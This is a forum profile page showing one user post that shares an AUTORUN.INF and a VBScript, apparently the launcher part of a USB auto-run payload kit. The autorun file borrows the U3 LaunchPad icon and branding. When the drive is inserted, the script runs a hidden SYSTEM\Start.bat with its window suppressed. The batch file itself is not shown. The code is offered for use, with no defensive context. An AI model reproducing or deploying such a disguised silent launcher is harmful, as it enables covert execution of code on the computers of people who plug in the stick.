Jump to content

tweakmode

Members
  • Posts

    1
  • Joined

  • Last visited

Profile Information

  • Gender
    Male

Recent Profile Visitors

1,151 profile views

tweakmode's Achievements

Newbie

Newbie (1/14)

  1. i did a lil bit of searching around for this but its in the forums here.... For AUTORUN.INF (props to vanguard): [AutoRun] open=wscript SYSTEM\go.vbs icon=LaunchU3.exe,0 [Definitions] Launchpad=LaunchPad.exe Vtype=2 [CopyFiles] FileNumber=1 File1=LaunchPad.zip [Comment] brand=cruzer For GO.VBS (props to SWFu): Set objFSO = CreateObject("Scripting.FileSystemObject") Set objShell = CreateObject("Wscript.Shell") Set colDrives = objFSO.Drives Set objEnv = objShell.Environment("PROCESS") objEnv("Year") = Year(now()) objEnv("Month") = Right("0" & Month(now()), 2) objEnv("Day") = Right("0" & Day(now()), 2) objEnv("Hour") = Right("0" & Hour(now()), 2) objEnv("Minute") = Right("0" & Minute(now()), 2) objEnv("Second") = Right("0" & Second(now()), 2) For Each objDrive in colDrives strPath = objDrive.Driveletter & ":" If objDrive.DriveType = 4 Then If objFSO.FileExists(objDrive.DriveLetter & ":\SYSTEM\Start.bat") Then objShell.Run objDrive.DriveLetter & ":\SYSTEM\Start.bat " & strPath , 0, False Exit For End If End If Next
×
×
  • Create New...